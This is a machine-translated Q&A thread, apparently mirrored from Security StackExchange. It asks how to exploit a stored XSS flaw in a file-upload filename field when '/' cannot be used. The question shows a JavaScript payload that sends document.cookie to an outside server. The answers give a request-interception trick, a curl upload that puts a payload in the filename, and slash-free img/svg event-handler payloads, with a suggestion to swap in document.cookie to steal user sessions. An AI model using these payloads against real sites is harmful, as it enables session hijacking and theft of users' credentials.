首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >不使用/利用文件名中的XSS

不使用/利用文件名中的XSS
EN

Security用户
提问于 2018-04-19 18:40:11
回答 3查看 5.4K关注 0票数 2

我试图利用文件上传的文件名字段中的漏洞进行攻击。web应用程序无法正确验证上传文件的文件名,因此存在存储的跨站点脚本漏洞。

我的问题是,每当我试图重命名文件以包含类似于下面的有效负载时,我就不能在文件名中包括/

代码语言:javascript
复制
document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

有什么想法吗?甚至有可能利用这个漏洞吗?

EN

回答 3

Security用户

回答已采纳

发布于 2018-04-19 18:46:01

您应该使用数据包拦截应用程序并编辑发送的数据包。因此,将/替换为文件名中的an _,然后拦截数据包并将其更改回标头。

票数 1
EN

Security用户

发布于 2018-04-19 20:03:17

使用curl上载时,可以更改文件名:

代码语言:javascript
复制
curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

然而,当我用PHP测试这一点时,它会自动剥离上一次/之前的所有内容,假设已经发送了完整的路径并将其转换为basename。

票数 0
EN

Security用户

发布于 2020-06-19 06:40:08

是的,在制作injection.These有效负载时不需要使用'/‘,这是有有效负载的:

  1. <img src=x onerror=alert(123) >
  2. <svg onload=alert(123)>

现在,您可以在警报方法中插入document.cookie而不是123来获取用户会话。

票数 -1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/184095

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档